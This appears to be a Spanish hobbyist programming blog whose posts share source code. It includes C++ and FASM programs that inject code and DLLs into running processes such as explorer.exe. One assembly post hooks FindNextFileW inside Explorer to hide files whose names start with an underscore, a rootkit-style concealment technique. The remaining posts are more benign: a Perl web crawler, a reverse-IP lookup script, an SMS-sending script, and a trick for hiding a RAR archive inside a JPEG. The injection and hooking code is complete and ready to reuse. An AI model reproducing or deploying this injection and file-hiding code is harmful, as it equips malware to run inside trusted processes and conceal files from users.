martes, 12 de marzo de 2013

Inyectar Codigo en Memoria [C++]

pequeño source que inyecta un MessageBox en un proceso externo

inyectar.cpp

#include 
#include 
#define PROCESO    "explorer.exe"
#define SIZE  1024          


typedef int (WINAPI *MYMESSAGE)(HWND, LPCSTR, LPCSTR, UINT); //Puntero a Estructura

typedef struct _EstructuraInyectar
{
 MYMESSAGE _MessageBox;
 char mensaje[1024];
}EstructuraInyectar;

void FuncionInyectar(EstructuraInyectar *estructura)
{
 estructura->_MessageBox(NULL, estructura->mensaje, estructura->mensaje, MB_OK);
}

void ObtenerPunteros(EstructuraInyectar *estructura)
{
 HINSTANCE Library;
 ZeroMemory(estructura, sizeof(EstructuraInyectar));
 Library = LoadLibrary("user32.dll");
 estructura->_MessageBox = (MYMESSAGE)GetProcAddress(Library, "MessageBoxA");
 memset(estructura->mensaje, 0, sizeof(estructura->mensaje));
 strcpy(estructura->mensaje, "Ola Ke Ase?,ejecutandose o ke ase");
}


int main()
{
 DWORD pID;
 HANDLE hProcess, hSnap;
 void *pRemoteThread;
 EstructuraInyectar estructura, *Estructura;
 PROCESSENTRY32 pe32 = {0};
 
 ObtenerPunteros(&estructura);
 if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) return -1;
 pe32.dwSize = sizeof(PROCESSENTRY32);
 Process32First(hSnap, &pe32);
 do{
  if(strcmp(PROCESO,pe32.szExeFile) == 0)
  {
   pID = pe32.th32ProcessID;
   break;
  }
 }while(Process32Next(hSnap, &pe32));
 if(hSnap != INVALID_HANDLE_VALUE){CloseHandle(hSnap);}
 
 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
 pRemoteThread = VirtualAllocEx(hProcess, 0, SIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(hProcess, pRemoteThread,(LPCVOID) FuncionInyectar, SIZE, 0);
 Estructura = (EstructuraInyectar*)VirtualAllocEx(hProcess , 0, sizeof(EstructuraInyectar), MEM_COMMIT, PAGE_READWRITE);
 WriteProcessMemory(hProcess, Estructura,&estructura, sizeof estructura, 0);
 CreateRemoteThread(hProcess , 0, 0, (DWORD (__stdcall *)(void *))pRemoteThread, Estructura, 0, NULL);
 CloseHandle(hProcess);
}

jueves, 21 de febrero de 2013

Web Crawler [Perl]

pequeño script en perl que enlaza por html todas las rutas de una pagina

crawler.pl
=pod
Author:   TR31N0RD
Name:     Crawler.pl
Verion:   0.1
E-Mail:  tr31n0rd@hotmail.com
Tw:  @TR31N0RD
Greetz:  All Members Of M1NDS
=cut

use LWP::UserAgent;
use URI;
use File::Basename;

@Links=();
@List=();
$Peticiones=0;


if ($#ARGV != 0)
{
 Logo();
 print "\nUsage: perl $0 http://example.com/index.php";
}
else
{
 Logo();
 $c=0;
 
 #Agregamos la primera Ruta a la lista
 push(@List,$ARGV[0]);
 
 #Limpiamos / Al Final
 $r=chop($List[$c]);
 if($r ne "/"){$List[$c].=$r;}
 
 
 #Convertimos el String a URI
 $Link = URI->new($List[$c]);
 
 #Sacamos el protocolo Usado
 $Protocol=$Link->scheme();
 
 #Sacamos el Host Principal
 $Host = $Link->host();
 
 #Sacamos el Path Principal
 $PrincipalPath=$Link->path();
 if($PrincipalPath eq ""){$PrincipalPath="//";}
 $PrincipalPath=SacarPath($PrincipalPath);
 print "Pagina: ".$Host."\n\n";
 
 
 do
 { 
  print "#".$c." URL: ".$List[$c]."\n";
  $Link = URI->new($List[$c]);
  
  $Path = $Link->path();
  if($Path eq ""){$Path="//";}
  $Path=SacarPath($Path);
  #print "Path: ".$Path."\n\n";
  
  my $Source=GetContent($List[$c]);
  SacarURI($Source,"href=",$Path);
  SacarURI($Source,"src=",$Path);
  
  #Ignoramos las Rutas Externas
  foreach(@Crawl)
  {
   #Limpiado URL 
   $_=~s/[\#|\?](.*$)//g;
   if($_=~/[\/|\\]$/){chop($_);}
   if($_=~/$Host/)
   {
    my $val=0;
    my $r1=$_;
    foreach(@List)
    {
     if($r1 eq $_){$val=1;last;}
    }
    if($val == 1){next;}
    push(@List,$_);
   }
  }
  $c++;
 }while($c<=$#List);
 
 print "\n\n$#List Archivos en $Peticiones Peticiones\n";
 open (Lista, ">Crawler.txt");
 foreach(@List)
 {
  print Lista $_."\n";
 }
 close(Lista);

}


sub SacarPath()
{
 my $Directorio=1;
 my $Original=$_[0];
 my $r=chop($_[0]);
 
 if($r ne "/")
 {
  while(true)
  {
   $r=chop($_[0]);
   $Ruto.=$r;
   if($r eq '.'){$Directorio=0;}
   if($r eq '/'){last;}
  }
  
  if($Directorio==0)
  {
   
   return dirname($Original);
  }
  else
  {
   
   return $Original."/";
  }
 }
 return $_[0];
}




sub SacarURI()
{
 my $Ruta=$_[2];
 my(@Clean)=$_[0]=~m/($_[1]\"*(.*?)")/gi;
 @Links = grep(s/href=\"|src=\"|\"//gi,@Clean);

 #Sacando Rutas
 $Rutas=$Ruta;
 $Rutas=~s/\/[^\/]*$/\//;
 chop($Rutas);
 while($Rutas gt $PrincipalPath)
 {
  push(@Links,$Link->scheme().":\/\/".$Host.$Rutas);
  $Rutas=~s/\/[^\/]*$/\//;
  chop($Rutas);
 }
 
 foreach(@Links)
 {
  if($_=~/^http:\/\//i || $_=~/^https:\/\//i)
  {
   push(@Crawl,$_);
  }
  else
  {
   if($_=~/^mailto/i){next;}
   if($_=~/^\//i){push(@Crawl,"http://".$Host.$_);}
   else{push(@Crawl,$Link->scheme().":\/\/".$Host.$Ruta.$_);}
  }
 }
}


sub GetContent()
{
 $Peticiones++;
 $ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
 $response = $ua->get($_[0]);
 return $response->content;
}


sub Logo()
{
print"
          #                        
 #    #  ##   #    # #####   ####  
 ##  ## # #   ##   # #    # #      
 # ## #   #   # #  # #    #  ####  
 #    #   #   #  # # #    #      # 
 #    #   #   #   ## #    # #    # 
 #    # ##### #    # #####   ####
 
";
}

Reverse DNS [Perl]

reverse.pl
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;

if($#ARGV == 0)
{
 $url = "http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php";
 $query = "remoteAddress=".$ARGV[0]."&key=";
 $ua = LWP::UserAgent->new;
 $ua->agent("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1");
 $req = HTTP::Request->new(POST => $url);
 $req->content_type('application/x-www-form-urlencoded');
 $req->content($query);
 $response = $ua->request($req);
 $content = $response->content();
 $content=~ s/(status|Success|resultsMethod|database|lastScrape|remoteAddress|remoteIpAddress|domainCount|"")//g;
 @valores=$content=~ /"(.*?)"/g;
 $val=0;    
 foreach(@valores)
 {
  if($val==1)
  {
   print $_."\n";
  }
  if($_ eq "domainArray"){$val=1;}
 } 
}
else
{
 print "\nUsage: perl $0 domain ";
}

Enviar Mensaje Heywire [Perl]

Una pequeña herramienta que uso para enviar mensajes al celular con heywire para saber el estado de alguna aplicacion que deje en ejecucion.

Message.pl

=pod
Author:   TR31N0RD
Name:     Message.pl
Verion:   0.1
E-Mail:  tr31n0rd@hotmail.com
Tw:  @TR31N0RD

#NUMEROCELULAR# = Numero de celular al cual enviar los mensajes
#USUARIO#       = Numero registrado por heywire
#PASSWORD#      = Contraseña de accesso

=cut

#!/usr/bin/perl  
#Modulos
use LWP::UserAgent;
use HTTP::Request;

if ($#ARGV>-1)
{
 foreach (@ARGV) 
  {
  $Mensaje.=$_." ";
  }
  
  Logo();

 #Cookie
 $Cookie="";
 $SetCont=0;
 $SetCookie=0;
 $pagina= "https://app.heywire.com/login.aspx/AttemptLogin";
 $query = "{\"PhoneNumber\":\"#USUARIO#\",\"Password\":\"#PASSWORD#\",\"rememberMe\":true}";
 post($pagina);
 print "[-] Get Cookie Session...\n";
 
 $SetCont=1;
 $SetCookie=1;
 $pagina="https://app.heywire.com/Login.aspx?ReturnUrl=%2fMain.aspx";
 $query="__EVENTTARGET=__Page&__EVENTARGUMENT=Redirect&ctl00_TheScriptManager_HiddenField=%3B%3BAjaxControlToolkit%2C+Version%3D3.5.40412.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D28f01b0e84b6d53e%3Aen-US%3A1547e793-5b7e-48fe-8490-03a375b13a33%3Ade1feab2%3Af9cec9bc%3A35576c48%3Aa67c2700%3Af2c8e708%3A8613aea7%3A3202a5a2%3Aab09e3fe%3A87104b7c%3Abe6fb298&__VIEWSTATE=%2FwEPDwUKMTA2NzE3ODE3NA9kFgJmD2QWAgIDD2QWAgIDD2QWAmYPZBYCAgMPZBYCAgcPDxYCHgRUZXh0ZWRkZDOqJQ0AhNLK%2FmY2fMjLUk5qIEWC&__EVENTVALIDATION=%2FwEWCgKHg%2FLpAgLv%2FOz2CgKi5ZbNAwKs1v2LDAKqvdFtAq3V6KIHArXt38QMAu%2BQ4N0KArma5KwHAuT1tr4EyOX1Mxr32eIOekxDriV3iALpkq8%3D&ctl00%24MainContentPlaceHolder%24NumberTB=%2B#USUARIO#&ctl00%24MainContentPlaceHolder%24NumberTextBoxWatermarkExtender_ClientState=&ctl00%24MainContentPlaceHolder%24PasswordTB=#PASSWORD#&ctl00%24MainContentPlaceHolder%24PasswordTextBoxWatermarkExtender_ClientState=&ctl00%24MainContentPlaceHolder%24forgotPasswordMobileNumber=&ctl00%24MainContentPlaceHolder%24TextBoxWatermarkExtender1_ClientState=&
ctl00%24MainContentPlaceHolder%24timeZoneOffset=";
 post($pagina);
 print "[-] Get Cookie .ASPXAUTH...\n";
 
 $SetCont=0;
 $pagina="https://app.heywire.com/Main.aspx/SendSMS";
 $query="{\"from\":\"#NUMEROCELULAR#\",\"to\":\"#NUMEROCELULAR#\",\"text\":\"".$Mensaje."\",\"loopBack\":false}";
 post($pagina);
 print "[OK] Message Send\n";
}
else
{
 Logo();
 print "Usage: perl $0 Message To Send\n";
}

sub post
{
 my $ua = LWP::UserAgent->new;
 $ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)");
 $req = HTTP::Request->new(POST => $_[0]);
 
 #Add Cookie
 if($SetCookie==1)
 {
  $req->header('Cookie' => $Cookie);
 }
 
 #Content Type
 if($SetCont==1)
 {
  $req->content_type('application/x-www-form-urlencoded');
 }
 else
 {
  $req->content_type('application/json; charset=utf-8');
 }
 $req->content($query);
 my $response = $ua->request($req);
 $Cookie.=$response->header('Set-Cookie')."; ";
} 

#Print Logo
sub Logo()
{
 print "\n\n";
 print" ######  ##     ##    ##          ###    ########   ######  \n";
 print"##    ## ###   ###    ##         ## ##   ##     ## ##    ## \n";
 print"##       #### ####    ##        ##   ##  ##     ## ##       \n";
 print"##       ## ### ##    ##       ##     ## ########   ######  \n";
 print"##       ##     ##    ##       ######### ##     ##       ## \n";
 print"##    ## ##     ##    ##       ##     ## ##     ## ##    ## \n";
 print" ######  ##     ##    ######## ##     ## ########   ######  \n";
 print "\n\n";
}

martes, 12 de febrero de 2013

Ocultar Files Hook Api FindNextFile [ASM]

En este caso oculta los archivos y carpetas que comiencen por la letra "_" en el proceso explorer.exe
ocultar.asm

format pe; console
 entry start
 include 'win32ax.inc'


;-------------Code Seccion---------------------------------
 section '.code' code readable executable

start:
 stdcall GetPID,Proceso

 stdcall Inyectar,addr Proceso,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
 cmp eax,-1
 jne salir
 
 invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
 salir:
 invoke ExitProcess,0




proc Inyectar,ProcessName,Tamaño,Funcion,Datos
     ;Lazamos el proceso
     invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax
 
   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax
 
   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
   popad
   mov eax,1
   ret




endp


proc FuncionInyectada,pGetProcAddress
 
    locals
 BaseKernel32         dd  ?
 OriginalProtection        dd  ?
    endl
 
    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax
 
    ;Obtenemos la dirección de FindNextFileW
    stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
    mov ebx,eax

 ;Obtenemos la dirección de VirtualProtect
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
    ;Obtenemos Delta Offset
    call delta
    delta:
    pop edx
    sub edx,delta
    push edx
 
    ;Movemos la direccion de FIndNextFileW
    add edx,dirFindNextFileW
    mov dword[edx],ebx
 
    pop edx
 
    mov ecx,edx
    add ecx,ApiOriginal
    mov al,byte[ebx]
    mov byte[ecx],al
    mov byte[ebx],0xE9  ;0xE9 es igual a jmp
    inc ebx
    inc ecx
 
    mov eax,dword[ebx]
    mov dword[ecx],eax
    mov eax,FuncionHook
    add eax,edx
    sub eax,ebx
    sub eax,4
    mov dword[ebx],eax  ;guardamos en ebx la direccion a la que saltara
 
    add ebx,4
    add ecx,4
 
    mov ax,word[ebx]
    mov word[ecx],ax
 
    mov word[ebx],0x9090
 
    ret
 
    ;7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
    ApiOriginal:
 ;edx=delta
 ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 add edx,dirFindNextFileW
 mov eax,dword[edx]
 add eax,7     ;Nos desplazamos 7 bytes
 jmp eax      ;Saltamos a FindNextFileW+7
 

    ;Funcion Hookeada
    proc FuncionHook,hFindFile,lpFindFileData
 Volver:

 call delta2
 delta2:
 pop edx
 sub edx,delta2
 

 push [lpFindFileData]
 push [hFindFile]
 mov ecx,edx
 add ecx,ApiOriginal
 call ecx
 cmp eax,0
 je Retornar
 
 mov ebx,[lpFindFileData]
 add ebx,44

 cmp byte[ebx],'_' ;Comparamos si el file empieza por el caracter _ si es asi saltamos a l inicio y pedimos un siguiente file de lo contrario lo mostramos
 jne Retornar
 jmp Volver
 
 Retornar:
 ret
   endp
;-------------------------------------------------------------------------------------------------------------------------------------------
 
 dirFindNextFileW    dd     ?
endp
 
FINFuncion:

proc GetPID ProcessName

 mov    [pInfo.dwSize],sizeof.PROCESSENTRY32
 invoke CreateToolhelp32Snapshot,2, 0
 mov    [hProcesos], eax

 invoke Process32First,[hProcesos],pInfo
.loop:
 mov    edi,Proceso
 invoke StrStrI,pInfo.szExeFile, edi
 cmp    eax,0
 je     .next
 jmp   get
.next:
 invoke Process32Next,[hProcesos],pInfo
 cmp    eax,0
 jne    .loop
 ccall [printf],'Proceso no encontrado'
 ccall [getchar]
 invoke ExitProcess,0
get:
 push [pInfo.th32ProcessID]
 pop [PID]
 ccall [printf],'%s :%d',addr Proceso,[PID],0Ah
 ccall [getchar]
 ret
endp

;-------------Data Seccion---------------------------------
section '.data' data readable writeable

 struct PROCESSENTRY32
        dwSize dd ?
        cntUsage dd ?
        th32ProcessID dd ?
        th32DefaultHeapID dd ?
        th32ModuleID dd ?
        cntThreads dd ?
        th32ParentProcessID dd ?
        pcPriClassBase dd ?
        dwFlags dd ?
        szExeFile rb MAX_PATH
 ends

 struct Datos
        sBufferCall dd ?
 ends

 dat Datos ?
 pInfo PROCESSENTRY32 ?
 hProcesos dd ?
 Proceso db 'explorer.exe',0
 Handle         dd          ?
       PID         dd          ?
       DirFuncion        dd          ?
       hProcess         dd          ?
       Tamaño dd ?





;-------------Import Data Seccion---------------------------------
section '.idata' import data readable writeable
library msvcrt, 'msvcrt.dll', kernel32, 'kernel32.dll',advapi32,'ADVAPI32.DLL',shell32,'SHELL32.DLL',user32,'user32.dll'
import msvcrt, printf, 'printf', getchar,'getchar', scanf,'scanf'


include 'API\shell32.inc'
include 'API\kernel32.inc'
include 'API\USER32.INC'




miércoles, 23 de enero de 2013

Inyectar DLL en memoria [C++]

DLL a Inyectar [ASM]
format PE GUI 4.0 DLL
entry DllEntryPoint

include 'C:\fasm\INCLUDE\WIN32AX.INC'

section '.code' code readable executable
 proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
     
   cmp [fdwReason],1
      JE mensaje
      mensaje:
      invoke MessageBox,0,"Kiere Pelea?","Ola Ke Ase?",MB_OK
      ret
 endp
 
 section '.idata' import data readable writeable
  library user,'USER32.DLL'
import user,\
       MessageBox, 'MessageBoxA'
Inyector.exe [C++]
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{
 HWND hwProceso;
 DWORD idProceso;
 HANDLE hProceso; 
 HANDLE hThread;
 LPVOID memoria;
 char *DLL="C:\\dll.dll";
 
 //Buscamos el proceso a inyectar.
 if(!(hwProceso=FindWindowEx(0,0,0,"Calculadora")))
 {
  MessageBox(0,"Ventana no encontrada","ERROR X",0);
  return 1;
 }
 
 if(!(GetWindowThreadProcessId(hwProceso,&idProceso)))
 {
  MessageBox(0,"No se pudo Obtener la id del proceso","ERROR X",0);
  return 1;
 }
 
 //Abrimos el proceso
 if(!(hProceso=OpenProcess(PROCESS_ALL_ACCESS,false,idProceso)))
 {
  MessageBox(0,"No se pudo abrir el proceso","ERROR X",0);
  return 1;
 }
 
 //Reservamos memoria en el proceso para la DLL 
 memoria=VirtualAllocEx(hProceso,0,strlen(DLL),MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 SIZE_T write=0;
 
 //Escribimos en el proceso
 if(WriteProcessMemory(hProceso,memoria,(LPVOID)DLL,strlen(DLL),&write)==0)
 {
  MessageBox(0,"No se pudo escribir en el proceso","ERROR X",0);
 }
 
 //Creamos un nuevo hilo de ejecucion en el proceso
 if( (hThread=CreateRemoteThread(hProceso,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"),"LoadLibraryA"),memoria,0,0))==NULL)
 {
  MessageBox(0,"No se pudo EJECUTAR en el proceso","ERROR X",0);
 }
 
}

martes, 22 de enero de 2013

Algo de Esteganografía

La idea basica es lograr ocultar archivos de winrar dentro de una imagen, lo cual podemos hacerlo con el comando copy.

para ello tenemos los siguientes archivos.



con lo cual en cmd.exe escribimos el siguiente comando "copy /b hulk.jpg + premiums.rar resultado.jpg"

donde el parametro /b solo indica que se hara una copia binaria.


con lo cual podemos seguir abriendo la imagen normalmente, solo que al cambiarle la extension a .rar  nos reconocera el archivo rar que hemos juntado a la imagen sin dañar los archivos.


lo unico que diferencia al archivo resultado.jpg de hulk.jpg es el tamaño del archivo claro esta, con algun editor hexadecimal podemos comprar que solo es una copia binaria.


Como vemos la imagen hulk.jpg termina en el offset 774597 decimal.

 

y aqui fijamos que premiums.rar termina en el offset 100 decimal.



 aqui podemos apreciar que el archivo final termina en el offset 774598 = 774597 + 100 + 1 de EOF.